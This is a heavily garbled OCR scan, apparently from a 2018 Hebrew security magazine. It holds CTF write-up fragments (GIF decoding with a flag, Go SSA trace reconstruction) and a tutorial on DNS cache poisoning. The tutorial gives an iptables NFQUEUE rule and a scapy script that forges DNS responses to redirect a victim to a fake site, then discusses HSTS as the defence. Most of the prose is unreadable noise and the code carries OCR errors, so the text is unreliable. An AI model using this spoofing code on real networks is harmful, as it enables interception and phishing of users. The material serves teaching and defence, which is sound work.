4C 4D 47 49 21 45 4F 5F 48 00 21 FF OB 4E 45 54 LMGI!EC H.!O.NET
53 43 41 50 45 32 Z2E 30 03 01 00 OO0 00 21 F5 04 SCRPEZ.0..... 'm.

v Xos geks” |, . X ]
{ UFKRAYWSTLMGI! EO_H
ceXs o bxe o s o os kg A L SE . f oS LeXT A (-~ 1

if ks:
mpindx , isup = ks. pop(0)
obuf += h(mpindx, isup , ww hh, len (global colors )-1)

def h(b6, bl, mw mh mci, d=3):
idx = randint (0, (mci-1)/ 2)* 2 + bl
X, XX, XXX, XxXxx = nm(b6, mw mh
f = Qd, xxx, XXxx, X, XX, idx)
return f
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Qu T s ¥ xmisTxe _mipindex
] x L o~ S v s Al ”Zxx>3 XClv X N L X, -|"m Z,,-|)-|V‘V“ "Zxx>
:magic number 1 ~ 1+« | 4 s "X

buf .

Technologic

_s(,_ XiIXyge | ¥-4X§ 7 1 X < o y)pd)é‘l_ x4 ¥ x ¢ X

S0 oA =igup ]

write (' \ x21\ xF9\ x04\ x05' )

:msL-|A S e O s ] x s s

import  struct , sys

with

struct

flag

open (
content f.read ()
location =0
indices =[]
while  True :
location = content .find (b'\x21\xF9\ x04\x05' , location
if location = -1:
break

(header , delay , tidx , zero, h2c, x, y, w, h, zero2)
. unpack_from (b'<IHBBBHHHHB', content , location )
print  ( .format (x, v,

if x =0 and y == 0:
mpindx = w * h
elif x == 0 and y == 1:
mpindx = h >> 2
elif x == 1:
mpindx =y >> 1
else :
print  ( )
print  ( mpindx )
indices . append (( mpindx , tidx % 2 == 0))

print  ( )
mpindx , isup in indices

c = s[mpindx ] if not isup else s[mpindx]. lower ()
sys . stdout . write (c)

{thls_mushRooM_w ! IL_maKe_you_tAlLer }

1Y x L1 " 1 x

+1)

w, h))
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(- x I 450 Surprise: 1 1 ~ )¥Teacke e if you Cah2:~ v - -«

r Y ~ S 4 X ‘I :
Hi There,
We've been working on this one for a while nothis machine spits out théafy when given the right
input. We're notsure what the input should be but we managed to get this weird looking tr@ce best
minds spent days, but we still can't figure it out!
35.194.63.219:2005
Please help us
s ¢ s, Stdtic Singlé aksignmerft fojrSSA ¥ x | FoATHaded 4 Jysx o X440 L XA
R Pl XL s NN Pk B I , o lssd*o s ¥y v
-_ YaakovCohen88+ 1 14 s Ly ios s X s xo X Lo~
JCTF
S+ . xS L~ dy v X s b Fdd7 1> .o 1.1 " X
s s X< sl XL SSAS (s ox ], s e b dud )T ) x
X X *“|~v oL -|”)|_ ,,Iyxv s ” s
SSAK s 7 ] x L. sHdvd X 1 Triace ~L444] s« L XX x «ssC s XqL  Lpx{ %
e U (e S I TS SN S S BN A 1o~ o s lx: . .
L R N T x A Xy I L X Os o1
Xl x x4 s
(~x~_ X X, S5s)) N 1 190,006 " L 4 J 8 x| & x5

Starting

main.kendrick at

/home/gull.omer/go/src/omer/ssa/omerr/versionl/ssa.go:238:6.

.0:
t0

= len(a)

jump 1

t1
t2
t3
t4
if

t5
t6
74
jum

t1

t2

]

t4

if
o

phi [0: O:int, 2: t7] #damn
phi [O: - L:int, 2: t3]
t2 + lint

t3 < t0

t4 goto 2else3

&alt3]

*t5
=1l + t6
p 1

phi [0: O:int, 2: t7] #damn
phi [O: - L:int, 2: t3]
t2 + lint

=t3 <1t0

t4 goto 2else3

return tl

Returning
/home/gull

from main.kendrick, proceeding main.main at
.omer/go/src/omer/ssa/omerr/versionl/ssa.go:306:21.

98
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https://twitter.com/YaakovCohen88
https://writeups.nmontag.com/
https://writeups.nmontag.com/

To~ fa d4%:sx i Kendfick y _ 4 s 4. x L I

AL

s .. s L Xs {7 L NES N-CE" : v= XXY Ll M xeoxx ooy x~ ] xtx", I ys X

x S v L X LS L] XsiiqL o« Cheoxxx T4 o " e qd X LX LA S « L X

S I s « X {1l x sc s L s le s X s o X s o,

~ ~ T~ A v " ~

35 M4 xox Ds xS UL xIpdsx xTIsx 1 oseoq sk 1™s L {{oKERdriek « k1% x4 s
LS L x . s s 14 ¢ A¢>\ XS (v, S \=L>xx,_‘sx , X ]C.s s . 4. X% .S«

DL (Se .7 1) sPythom, SHYL TR s

(a):
damn = 0
2 = -1
while (t2 + 1 < len (a)):

damn += a[t2 + 1]
2 +=1
return damn

SR X e v ST AT s o a T x s

t0 = len(a)
jump 1

t1 phi [0: O:int, 2: t7] #damn
t2 phi [O: - 1:int, 2: t3]
t3 t2 + Liint

t4 t3 < t0

if t4 goto 2else3

t5 &a[t3]

t6 *t5

t7 t1 + t6
jump 1

t1 phi [0: O:int, 2: t7] #damn
t2 phi [O: - 1:int, 2: t3]
t3 t2 + Liint

t4 t3 < t0

if t4 goto 2else3

return t1l
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t1
t2

phi [O: O:int, 2: t7] #damn
phi [O: - Lint, 2: t3]
t3 t2 + Lint

t4 t3 < len(a)

if t4 goto 2else3

t6 = *&at3]
t7 =t1 + t6
jump 1

t1
t2

phi [O: O:int, 2: t7] #damn
phi [O: - Lint, 2: t3]
t3 t2 + liint

t4 t3 < len(a)

if t4 goto 2else3

return tl

damn = 0 # a.k.a. tl, a.k.a. t7

i = -1#aka.t2, aka.t3

=i+ 1
len(a) goto 2else3

damn + ali]

i+ 1
len(a) goto 2else3

return tl

. X Tracds - R A , X C . Pythenk 4 ¥ ¥ 4 s ., -
class ( Exception ):
pass

def (a, b): # Max
if a > b:
return a
else :
return b

(a, b): # Multiply
t10 = [0] * (len (a) + len (b))

for i in range (len (b)):
for j in range (len (a)):
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10 [i + j] += (a[j] * b[i])

t21 = len (t10 [: len (t10) - 1])
for 1 in range (t21):
if (t10[i] >= 10):
t0[i + 1] += (t10[i] /I 10)
t10[i] =tl0[i] % 10

return t10

(a, b):
if (doom(a, b) == -1):
raise  TraceException (
else :
t5 = [None] * len (a)
for i in range (len (a)):

raise  TraceException (
else :

#11

t5[i] = ali - b

#4
return t5

(aa, bb): # Compare

(i
aa[i] > O:
m= aal: i + 1]
break
else :

len ( bb)
[
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while (i >= 0):
if (bb[i] > 0):
f = bb[: i + 1]
break
else :
i -=1

it (len (m) > len (f)):
return 1
if (len (m < len (f)):

return -1

i =len(m - 1
#27
while (i >= 0):
#25
if nfi] > f[il]
#28
raise  TraceException (
else :
#29
if nmi] <nil:
#30
raise  TraceException (
else :

(a, b): #Add

guru (len (a), len (b))
[ None] * (t2 + 1)
rakim (a, [0])

doom(a, r)

d!= -2:

raise  TraceException (

in range (len (t4)):

i < len (a):
#6
t19 = ali]
else :
t19 =0 #°?
#7
ai = ti19
if (i < len (b)):
#8
t24 = b[i]

Check Point 2018~ ¥ - «

www.DigitalWhisper.co.il
2018 -~ * _X0® T x 4 L ¥




=0 #7?

+ bi + wu
/[ 10
t27 >= 10:
#10
raise  TraceException (

#11
tmp = t27
t4[i] = tmp
#5
return t4

(a): #ATOI

#5 = [0] * ((len(a) // 2) + (len(a) // 2) )
t5 =1

z
ms [5)
i =len(a) - 1
while (i >= 0):
t10 = ord (a[i]) - 48
if (t10 >= 0) and (tl0 < 10):
z += t10
msg. append (guru (t10 , 0))

if (z == 1024):

raise  TraceException
else :

i -=1

return  msg

(a): # Sum
damn = 0
2 = -1
while (t2 + 1 < len (a)):
damn += a[t2 + 1]
2 += 1
return  damn

HHHH R R R
def (my_input ):
t8 = my_input
t11 = t8 . split ( )
print  ( . format (len (t11)))
t13 = [None] * len (t11)
for i in range (len (t11)):
t13[i] = int (t12[i])
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andre ([ 1], [0, 1])

gza([ 0, 2], t27)

gza([ 0, 2], t32)

andre ([ guru (2, 1)],

nas (str (len (t13)))

doom(t45 , t42)

I= -2

TraceException

t37)

in range (len (t13)):
t13 [i] <= O:
raise  TraceException (
= [None] * (len (t13) // 2)
i in range (len (t58)):
t58 [i] = ta3[i * 2] - tI3[(i * 2) + 1]
i in range (len (t58)):
t80 nas (str (kendrick (t58 [ i
t84 = doom(t80 , [O0])
if t84 == -1:
raise  TraceException (

u))

0_su (0]

e su (0]

for i in range (0, len (t13) - 1, 2):
e su += t137[i]
osu += t13[i + 1]

if o_su =
raise

e su:
TraceException  (
e_su))

u_arr =]
x =0
for i in range (len (t13)):
if x < len (u_arr ):
raise  TraceException (

if t13[49] = 102:
raise  TraceException (

if  t13 [ 4]
raise

t13 [5] !'= t13[8]:
TraceException  (

if _ _name__ ==
input_arr

- ([1, 1, 1,
([ 1] * 47) + [1, 6] )

ll 5l 2’ ll

input_str ="'" .join ([ str (num) for num in

print  (input_str )

main (input_str )
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RN EE ESNT
BT S Y L. b 1s Xfo LS Y r P xesxp X4yl T s T L
FoAT X Ty x> 10 L AT XL x T e s L] s s X,y
x4 e x T oL s v d 41 0 Ts
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x 7 s X s ¢ ZxD‘Ngs,,s: ,,DJX]S,ZXZ ,_,-p<J’~|_ ~Z 1 |_~" . )‘_I ),J ~><\ L x 41
Lt DNS * 1« «~ | wwwdigifalwhisper.co.il ~ - « s A o
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S
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XS4 1T L. e xs O o x " 4sx T b I\Wireshark Xx17: 0

~ v

k41104 "DNS % x4 s s "Wireshark: -

T T T P
HAaa| = > BRB L @In4
Expression [+ l.ldns‘l [X] ]
- Info Length Protocal Destination Source Time MNo
Standard query @x3545 A lh3.googleusercontent.com 85 NS 192.168.1.1 192.168.1.243 8.844399 37
wStandard query response @x3545 A 1h3.googleusercontent.com CNAME googlehosted.l.googleusercontent.com A 172 136 DS 192.168.1.243 192.168.1.1 8.856816 38
Standard query response Bxad7b A wew.google.co.il A 172.217.19.67 92 DS 192.168.1.243 192.168.1.1 8.858111 39
Standard query response @x7224 A ssl.gstatic.com A 216.58.205.227 91 DNS 192.168.1.243 192.168.1.1 8.858112 40
Standard query @x7224 A ssl.gstatic.com 75 DS 192.168.1.1 192.168.1.243 3.874034 43
Standard query @xbla5 A www.google.com 74 DS 192.168.1.1 192.168.1.243 8.875430 44
Standard query response @x7224 A ssl.gstatic.com A 216.58.205.227 91 D5 192.168.1.243 192.168.1.1 8.877297 45
Standard query response @xblab A www.google.com A 216.58.213.228 90 NS 192.168.1.243 192.168.1.1 8.878812 47
Standard query @x3b6a A s2.googleusercontent.com 84 DS 192.168.1.1 192.168.1.243 9.457982 93
...Standard query response @x3bea A s2.googleusercontent.com CNAME googlehosted.1.googleusercontent.com A 172 129 DS 192.168.1.243 192.168.1.1 9.468367 95
Standard query @xaa83 A clients5.google.com 79 DS 192.168.1.1 192.168.1.243 18.179452 221
Standard query @x4268 A ogs.google.com 74 DNS 192.168.1.1 192.168.1.243 10.184198 222
Standard query response @xaa83 A clients5.google.com CNAME clients.l.google.com A 216.58.214.46 119 DNS 192.168.1.243 192.168.1.1 10.189049 223
Standard query response @x4268 A ogs.google.com CNAME www3.l.google.com A 172.217.13.14 111 DS 192.168.1.243 192.168.1.1 10.194284 224
Standard query @x4cl3 A accounts.google.com 79 DNS 192.168.1.1 192.168.1.243 10.976465 291
Standard query response @x4cl3 A accounts.google.com A 172.217.23.173 95 DS 192.168.1.243 192.168.1.1 19.987126 292
Standard query @x5e15 A googleads.g.doubleclick.net 87 DS 192.168.1.1 192.168.1.243 11.356243 326
Standard query response @x5el5 A googleads.g.doubleclick.net CNAME pagead46.l.doubleclick.net A 216.58.206.2 143 DS 192.168.1.243 192.168.1.1 11.35836@ 327
Standard query @xd6sc A apis.google.com 75 DS 192.168.1.1 192.168.1.243 16.803166 522
Standard query response @xd63c A apis.google.com CNAME plus.l.google.com A 216.58.206.14 112 DNS 192.168.1.243 192.168.1.1 16.818189 523
Standard query @x422e A www.digitalwhisper.co.il 84 DS 192.168.1.1 192.168.1.243 17.86747@ 533
Standard query response @x422e A www.digitalwhisper.co.il CNAME digitalwhisper.co.il A 5.100.248.67 114 NS 192.168.1.243 192.168.1.1 17.877512 534
e sen s i 2 = cus sonaco s s ann a0 s ngo 2o sconan cop
: LoOX o L -I “ S

Frame 533: 84 bytes on wire (672 bits), 84 bytes captured (672 bits) on interface @
(Ethernet II, Src: LiteonTe_2b:e6:d7 (IEEN:2b:e6:d7), Dst: Technico_a2:20:74 (I 22:20:74
Internet Protocol Version 4, Src: 192.168.1.243, Dst: 192.168.1.1
User Datagram Protocol, Src Port: 59694, Dst Port: 53 ¢
(Domain Name System (query Vv
Transaction ID: ©x422e
Flags: @x@1ee Standard query
Questions: 1
Answer RRs: ©
Authority RRs: @
Additional RRs: @
Queries Vv
www.digitalwhisper.co.il: type A, class IN

Response In: 534

DLixps D1t eDP. L s Xl DstPortSA s 1y " S 1ax S

>

~ _ XTnankactionlD 0x422e: * " + _ DS « »% . _ * +« ,Domain Name Sydtém
s XDNSs .1 .A I X . e U Xo 1.16042 « xise SX "SIDg S

L x.ILx:ﬂ-livxIs ’s, .sxx::\JsL-|szsx_~MX q
L X T sy X s) ) e s s D7 4s XS-NS

( Canonical Name) 1 1 x ¥ X s ¥ "-CNAME 1
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sy ,8s 1. __ SDNSY .« s s NXF oo x 7 .4 Ts 1 xA
X x I ]s DNSs |,,X~x Z_-|:~x\x,,ij x "oy ~ 1971 X,va~ ] 4L s )
4.~5xx~: x " L=J”+q‘-|v- (‘JXQQCHQX =-|xxv,,-|.|v)x b X ] ’X-IZXV-|~,,x
O T T T T T I4Les > 410 «xs T S
L I S L
~ reotserverss 4 : . 1« s I c¥Xss 8 XXDNES U T dpe
13 ¢+ 4«0 x 1 .o L XXXy s 1 ¥00t-s 94 © + X« . T ¥ A1 4C XK. X5X
XX . w4 9T XL R A I S L B S N T B S B S

eduxcgmigov « _ TLD {1 (~» . %dw) "X &XH » Tus v A"

s oo 1DNSs1 - x.iwwwwhatevercom =~ 1 4 _ x I s 1 %YL st i 11 7
« .40 47 oets " is X x L 54914 4% 1 frootdsd 4 s 45" IS tos
LX~ 1 _Sx s igcom Xy 1«XA )]s 45" swwwhatevercomd 7« L X
"X DX o
.40 exs o peofm XUTxxde XL o X1 0 DNSSs (e LS X 4L ]

www.whatever.com - + -~ { l::({d 44" AR A" ) corh X~ wAwwivRalever.com

"X Dxw x0T ¢ x whatevercom ¥ _ 4« X X< Js{sT5. 4]
+ 1. _41 ~ xwhatevareom ,» * _ « ~tcomd: ~ 1 ~» X4 %4 4 4L s s x X X
. % 1 1s DNSAmplificaton =)<y 4 " 4 L x4 1 4" ix o (iso {7
www subdomain. ~ _ « Whatever.com. s L 1+ _ To 4 X7 » 1w as X7 ]
THA U s O IRS D)X x T ] T e TDNSS L. o4 S A XL DX x s Lo X

www.whatever.com

s X x g $ X1 x 1 wiresharkc] ~.x ¢ 17

Frame 534: 114 bytes on wire (912 bits), 114 bytes captured (912 bits) on interface @ ¢
(Ethernet II, Src: Technico_a2:20:74 (ME:a2:20:74), Dst: LiteonTe_2b:e6:d7 (IR 2b:e6:d7
Internet Protocol Version 4, Src: 192.168.1.1, Dst: 192.168.1.243
User Datagram Protocol, Src Port: 53, Dst Port: 59694
(Domain Name System (response V
Transaction ID: @x422e
Flags: @x818@ Standard query response, No error
Questions: 1
Answer RRs: 2
Authority RRs: ©
Additional RRs: @
Queries ¢
Answers V
www.digitalwhisper.co.il: type CNAME, class IN, cname digitalwhisper.co.il
digitalwhisper.co.il: type A, class IN, addr 5.100.248.67

DNSs . s 11 { % Franshction D% X DX v L4 T sioon Lips T D47
UDRs | X «Xx 11X,  {*58 «1x s Sounoe POk ~%{cs X
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exs s Xx ls Do X2dasXp ] s xX4 e 44 oxs s
*x i ]s Coe U L. .8 _ Cahe*sx g4 xx s ixu
X o4 qx x4 s s ox s Do+ 4 www.digitalwhispet.co.il _

S X L, X 1. "s X
:ommandLine s! x« s . x X x {os |
i pconfig  /display dns \

Time
Data Length

tion

CMAME Record

ord MName

tion

(Host) Record .
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S “ TS ¥ ¥+ A
DNS Cache Poisoning s |« _ s 7 x> "x 1l 7047 XX qgx, s
Lo =xv-|vs :xvx~,, e L 1 ~DNgs =\x.|vs-|vs>:“,_ZAv,,ss :’,,\-Hvs
DX AP X kS x D ] 4 4o x T T4 x|
I x s L oL X o~ . .|v.|” . S X X = x X s X
x DNSs L X LK S HL X ESCIANT X Lsoy L x 1 X
447" x . . X S X X =-|-|vxI|_ 149 x s {7 x 1 ¢
X ~DNBs1 © x 1 < «DNSs {:1. .t L~ s 540X s ., xx s A 1.1
D x . _ayiftwinattack T) v H FakeAP X < i oA 1.1 s gx]ux
CMITM) 4xox 0
S b 4.4 . DNSS b4 X X IMIEMK 2 S i oL S 418 ox T x
2006 ~ «~ B9 T X 4L 4 Y ) .o X X 48 4 e L IS L e T X L
JX A T e U8 DWARP R XL X 1. X ess i x s X s L
T XL XPNSS LD X 1w~ T« DX, WitesharR ¢ o» _ XMITMES DX (T %
XL X s X x s Zx-1“‘> e .or oL L B - 1 = s L
1041, T xliXoss . . "PacketMadipylation

3

DNS Server

Packet Manipulation

Attacker

am e

Client (VlCtlm) — Attacker’s fake website
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o X ss, oo XX 7

ToX 1L S X, \.ASS XX 1 X, . :=L_|X_|“ LXlSS .“].Lx -|LX =
LS oA X X SMITMA s e X R, xS
s X x I DNSY 1.3
X q {7 x 1 ¢ voen L DX x ol ] 7] ox s 1.4 x " s XX
L | I . {1 x ¢ S s X x5 I s N ”
XL X o, X ] . s s 11 . e TTISE b v x,sx X ] s, 18X ] < «xX1s
<“x:L ,_-|,,><Axv_7:x,,><'|:ss
S - 5 . 4 %
S I X oL s m L7 , S o~ S MITMS “q x40 8 xs s x7

Xx's y 4. %1 s DN$CACHEPOISONING X wi: _. X« 4>y 4.1 *x:|
(xS 4~ s Lnux 41 Jx 03]

@« . .Y FY OB d XL WX T 2047 ) Tox

S« MITM - | « i3,
4o X x ] =X, X oS X Foloe s 4, -~ : L, X
« XUpix - x 1., X Ll yx s« jptables.iptdbles~ X 1. 4 T{yLsle  wsxis, "L {
SLov L X g s xS Tl x D, € s ] s s s D],
SLe . ore ]l ooxixo v xManPage « X X« A LdSss o ox X Lx o DX

.iptables Rule - ~iptables

L S )_X)ﬁ_,)\-x ~ L DNS§ ] x 1",‘.,“' R : qptable$ RUAIe'I"N‘I Isy.s, " X momog g ) s .
(4. s )y netfilterx * (s *x _1s o Dxq o

~ >

1 x X Teriinails B x 7.

sudo iptables - FORWARD i d 192.168.1.243 Tpudp 17 -sport53 T j NFQUEUE--
queue - num 1
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Dx 1IIx 1 W% X | FORWARDX 1 « «r " {4 "{x¥_ " 4 9. _ *FORWARDI T

XoLIex Lo dpyisx Tk (DNSS T X . T X XZE KL 4 X p . s
s 4 L oXd X4x)1192.168.1.243 1 st) S 0 ! A x Tilx v 47 44 7xd g
070

source-* udptr X « X 1xx.1 < w1 " 494" M4 " ¥ 7« -]-p udp--sport 53

>

.DNS Responsex 1 «7+* xx | b« 1§ { "% s 4 B3 port

~ >

netfilter-* ¢ x | ¥ A ¢, X % 444 "L isx " kK X ¢ -+« NFQUEUEqQuUeuenum 1 ¢

netfilter-s = «. 41 Y17 sxX, kS . T b ¥ xS Ud LY " xS

Vo~~~ v

s+ Xs sl x o s ]+« xiptablesryless] i lv tped TiIxygx, s

| sudo iptables 1L |

omer@omer-Lenovo-520-30:~5 sudo iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination

Chain FORWARD (policy ACCEPT)
target prot opt source destination
MFQUEUE all -- anywhere DESKTOP-M25QT40.lan NFQUEUE num 1

Chain OUTPUT (policy ACCEPT)
target prot opt source destination
omer@omer-Lenovo-520-30:~5 I

c I . X X | hetfittefqueues L ¥ " . T x I 44 detfiltersix % 41 ys 7, xx
, L (gec, d _ c@mpiler x "4 s erd o sd sty vl s SS
[ IR s ”x X ,oho oo ¢ X iptables +r X 7T X ] TAX X0 0 Xexq X
x 7 {4 s Lo x o Documehtation v » v oS x Scapy T A Y 1 _r 4~ 1+
s . L x
netfiltergueue
scapy.all
LS x X
« 1.
14x¢ s ., s loalP: 1€ x » 1 A F 018 e ¥ Add 0~ 1+

X D4R x4 ] SdSklT ssre-l TS A s M . 1oxsx? )
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:neftfilter-s Do ~ 41 Y s s ., "

netfilterqueue Nettilterqueue
scapy.all UDP, DNSRR, DNS, IP

def print_and_send(pkt):
pkt.accept()

nfqueue - Netfilterqueue()
nfqueue.bind(1, print_and_send)

print(“Waiting for data™)
nfqueue.run()
KeyboardInterrupt:

print(’Exiting...")
, XX Floxoo X" Yes L xToApetfilter o x w4 e X Loy S XX .
S 1w v SL X X1 T A4 o printLand_sendXs 4 " X s o W, ]S ] oX
sX v Y 117 A I T
s 7 o dx _ox s p PN 4T X s XET XS]y S S
.accept s .

scapy_packet - + get_payléad s 4 . " x * ¢ {7

> a

def print_and_send(pkt):
payload - pkt.get payload()
scapy_packet I EVALEL))

:DNS @ *x 1 x "srcpQrt33* UDP ¢ * « X 1 x . 1%y S 1w v S o

scapy packet.hasl scapy packet.«

(4 x4 e sdle s )84 s x s w0 T A N 1

> ry A ~ v >

print("DNS packet in port " + str(scapy packet.getlayer(UDP).dport ) + " ID : "+ str(scapy packet[DNS].id)
str(scapy packet[IP].src) + "=> "+ str(scapy packet[IP].dst)
str(scapy packet[DNS].qd.qname.decode('utf-8')))

X7 L DNSPAX A8t x4

Spoofed
scapy packet[IP].dst,
scapy_packet[IP].src

scapy packet. la (UDP) .dport,
scapy packet.getlay DP) .sport

scapy_packet[DNS].id ,

acket[DNS].qd ,
scapy packet[DNS].qd.gname, ttl 9, rdata = localIP)
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R XoLX . 44 _,BNRR s *x <0 sif{eans x 8Ly s g x4

CAdidst s b e x by s x X D FTRS S e ] ] T L s

Sl s IDNSS L 4TI e X T Hde x W8 o T X ow Q@S e S Tiis,
set payload = ! x « 401 4 o 4. xo 5 s

set payload(bytes(Spoofed))

pkt.accept()
L S
ake website IP adress: 192.168.1.171
laiting for data
PDNS packet in port 64288 ID : 48801 192.168.1.1=> 192.168.1.243 lan.lan.
DNS packet in port 54648 ID : 32263 192.168.1.1=> 192,168.1.243 ssl.astatic.com,
INS packet in port 62160 ID : 29178 192.168.1.1=> 192.168.1.243 www.digitalwhisper.co.il.
DNS packet in port 61515 ID : 64653 192.168.1.1=> 192.168.1.243 ssL.google-analytics.com.
DigitalWhisper © « | 17X: & JixLix s 0 x ] X
X ] = + X httpsy//weww.digitalwhisper.co. ._
o AN i kttps://www.digitalwhisper.coil | nuaNn Y A 3] -

Fake website!

You have been hacked!!
nw
Lo 1*s S Jo” e Lwas S ¥ Lo R o S R D
s x s < ! Digital Whispex 1 ,
s . s ¢« sslcerfifidate ¢~ ! | 445, s, sl oS S, 8 TR, X s {4 oL RN x A

~ ~

Fds e s LAY . s 4T X by
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. % . . . x
;11x¢vs s X . s N v X . X < S

Internet Protocol Version 4, Src: 192.168.1.1, Dst: 192.168.1.243
User Datagram Protocol, Src Port: 53, Dst Port: 51843
(Domain Name System (response

Transaction ID: @exbe76

Flags: ©x850@ Standard query response, No error

Questions: 1

Answer RRs: 1

Authority RRs: ©

Additional RRs: ©
Queries Vv

www.digitalwhisper.co.il: type A, class IN

Answers V

www.digitalwhisper.co.il: type A, class IN,[gédr 192.168.1.12i]‘.

s 1% 417 s " 1. xs Co S S AS® s X0 ] T,

~ ~ ~ v

Ll v X 4L X HRIMLFORMS & » & wsl & s 0 1x x4 {4 -

~ ~ ~ ~

LS v o, x s s ¢

FAAd 17 o137 Ax e vldd xod 400X p e b e 20x 0 T 4" s

HSTS

U R 1« ., 1+ 417 .HSTS » x « H¥TP Stfict Trahsport Bé&curity « X

F HTITPS L x « x4 x . 1.1 HSTS. 1~ _sx>*31%.049.714* = .x
U X« SSCertifiCate | ©

StrictTransport =~ 4 HIPPSL x 4 x {1 x .. 1.1 |, N S

~

s ~1_~, " hehders L . 34§ ] HITPS _ s x * x Security Header

~ ~

Fdqd - , . HFTP§ . s { . [ LU s I 1., . ¢ maxage , ( -

Lo x0T 1 X7 xeuXx 1 07 b, 1 g« dncludeSubDomains , | 41« 7 x4 o X s

s ¢ header. s 7 * s s .1"]SubDomains

\ Strict - Transport - Security: max - age=expireTime [; includeSubdomains] |
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| Strict

- Transport - Security: max -age=3 1 5 3 6 ;0n@ludeSubdomains

S L1 4 _HSTS _ _: _ 8§, (1.5 x . mhxage=3153600 " . [ v ¥, x

>

i

.SubDomains

Y s x StrictTransportSecurity headef .+ + 1 = | Posos %x] 17 «s g &\ A

A > >

L X I HTTESx i.x X0 xi taeg s1. 440 HTPPHA. || W

> a

X . X s
A i)

¢

~

’”

. x = g . »
headers = « | 1 11 Certificate # HTTRS 1« ! 1y ~ headers ~» = | «
s ¢ s
L~+" + L «Xxs , S TX w8 2 it ST XL w8 T Ky |
~ A = ~ A > > o~
= ™ ' x
L% 104 T _Certifitate XHTTPS~ v . 44 xS _ .« x_ hdadert L *x | 1
I x X . S « S X
N > v
. = . . » .
«a X4 X T is 0y | HSTS preload it : - 4 Xar 17 podioaas
. . x
oL e L Y {7 s Fov Y , 41 HTTPS & X v x4
i i n X X . nox
+ 1 Chwome, Firefex, Safari: + 1" | | s L -1 X OS]
= - - = - ” XX ”
X X , S o1~ e TR (e = BN AT sse o A4 TP b A s
. XX
s o~ x4y s x I phstspteloddorg - Ko A%
. y x |
{ "name": "wzyboy.org", "policy": "bulk-18-weeks", "mode": "force-https", "include_subdomains": true },
{ "name": "xenesisziarovky.sk", "policy": "bulk-18-weeks", "mode": "force-https", "include_subdomains": true },
{ "name": "yksityisyydensuoja.fi", "policy": "bulk-18-weeks", "mode": "force-https", "include_subdomains": true },
{ "name": "yokeepo.com"”, "policy": "bulk-18-weeks", "mode": "force-https", "include_subdomains": true },
{ "name": "zravypapir.cz", "policy": "bulk-18-weeks", "mode": "force-https", “include_subdomains": true },
{ "name": "acuica.co.uk", "policy": "bulk-18-weeks", "mode": "force-https", "include_subdomains": true },
{ "name": "advanced-online.eu", "policy": "bulk-18-weeks", "mode": "force-https", "include_subdomains": true },
{ "name": "arbitrary.ch”, "policy": "bulk-18-weeks", "mode": "force-https", "include_subdomains": true },
{ "name": "bidon.ca", "policy": "bulk-18-weeks", "mode": "force-https", "include_subdomains": true },
{ "name": "boiseonlinemall.com", "policy": "bulk-18-weeks", "mode": "force-https", "include_subdomains": true },
{ "name": “cake.care", "policy": "bulk-18-weeks", "mode": "force-https", "include_subdomains": true },
{ "name": "cdlcenter.com", "policy": "bulk-18-weeks", "mode": “force-https", "include_subdomains™: true },
{ "name": "climaprecio.es", "policy": "bulk-18-weeks", "mode": "force-https", "include_subdomains": true },
{ : “coding.net”, "policy": "bulk-18-weeks", "mode": "force-https", "include_subdomains": true },
i A W " w ", = 5 w ws {aav: Frialt.
; ] "defcon.org", "polic bulk-18-weeks", force-https” include_subdomains™: true },
{ "name": "dragons-of-highlands.cz", "policy": "bulk-18-weeks", "mode": "force-https", "include_subdomains": true },
{ "name": "enskat.de", "policy": "bulk-18-weeks", "mode": "force-https", "include_subdomains": true },
{ “"name": "enskatson-sippe.de”, "policy": "bulk-18-weeks", "mode": "force-https", "include_subdomains": true },
{ "name": "eveshamglass.co.uk", "policy": "bulk-18-weeks", "mode": "force-https", "include_subdomains™: true },
{ "name": "firebirdrangecookers.com”, “"policy": "bulk-18-weeks", "mode": "force-https", "include_subdomains": true },
{ "name": "fitkram.cz", "policy": "bulk-18-weeks", "mode": "force-https", "include_subdomains": true },
{ "name": “"gambit.pro", "policy": "bulk-18-weeks", "mode": "force-https", "include_subdomains": true },
{ "name": "gambitnash.com", "policy": "bulk-18-weeks", "mode": "force-https", "include_subdomains": true },
{ "name": "ge3k.net", "policy": "bulk-18-weeks", "mode": "force-https", "include_subdomains": true },
{ "name": "hboeck.de", "policy": "bulk-18-weeks", "mode": "force-https", "include_subdomains": true },
{ "name": "hozana.si", "policy": "bulk-18-weeks", "mode": "force-https", "include_subdomains": true },
{ "name": "indovinabank.com.vn", "policy": "bulk-18-weeks", "mode": "force-https", "include_subdomains™: true },
{ "name": "ipomue.com", "policy": "bulk-18-weeks", "mode": "force-https", “include_subdomains": true },
{ "name": "ipsec.pl", "policy": "bulk-18-weeks", “"mode": "force-https", "include_subdomains": true },
{ "name": "jamesdoylephoto.com", “policy": "bulk-18-weeks"”, "mode": “force-https", "include_subdomains": true },
.HSTS Preload List | 1 |, x _.wwwdefcon.org ~ - «~ S « L _ L
” .
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https://cs.chromium.org/chromium/src/net/http/transport_security_state_static.json
file:///C:/Users/omer/Documents/hstspreload.org
http://www.defcon.org/

'0ND 1I'N jbw ala'nn

JINDD'O ,NNAITY) www.defcon.org TNNNN 19V D'OYDN NN 2139 D'OIN D'OPINY DN
01 VT'D .('"NIWRK 'D'OD IR NIVTIN
NET:ERR_CERT_AUTHORITY_INVALID

NWIA S N9 w2 ATV TWON ,Google N D'OTN 2101 NIIVND 'VISN POYN YW ANV Ty D

DIONS NIDYID NNI02

m [

Google TWND YW yT'DN YV [aNY 1D MID¥N2 99D T2 wnnwn www.defcon.org INXN

DAY DN DIYR NTN NYYW INRN www.defcon.org-2 12NNNY Dysin Nno* Chrome
212'NY Y9N Wi-Fi-9 ND1ID 10D IR ,www.defcon.org TNND NITNNNY NDIN PNy DN+
.D'2IN1N '919'N 1199 112'NN NN P'09n Google Chrome-w 11'DN NL2IND [TV 1OV VT'DN

NNAY HSTS-2 wIn'w 12 NWYIW TNKRD www.defcon.org TNN2 1P TWON 'N 1I'wDYY |1D)

2N NIRD 91V9Y IR NTN' DTN §TNW 72, N1RNT 99 012 |0 NIDPpNNIE NYN

S “ { %8s 4 ¢
"DNSs XX DX s € 14, . - 20 x DL x] s s
R s 4711 A S I R N B Pl s X 17 .
” X o, XX ) BNBSs F:sx~1 ““I>x XL X LX oL 5 s . 1,trace'rome 11 s, R
1, WX
(1) A I , - 1 rIntérnet Peotbcot* ~, ' . 4l -~ fracéroutes N
s D XX s 1w+ s r . DNSY :-)qj":‘v.,xJPIAX'L‘l’SIjL;rN»—"('
LA x4 tx oy T e AT X AR AT e s S . X s L X
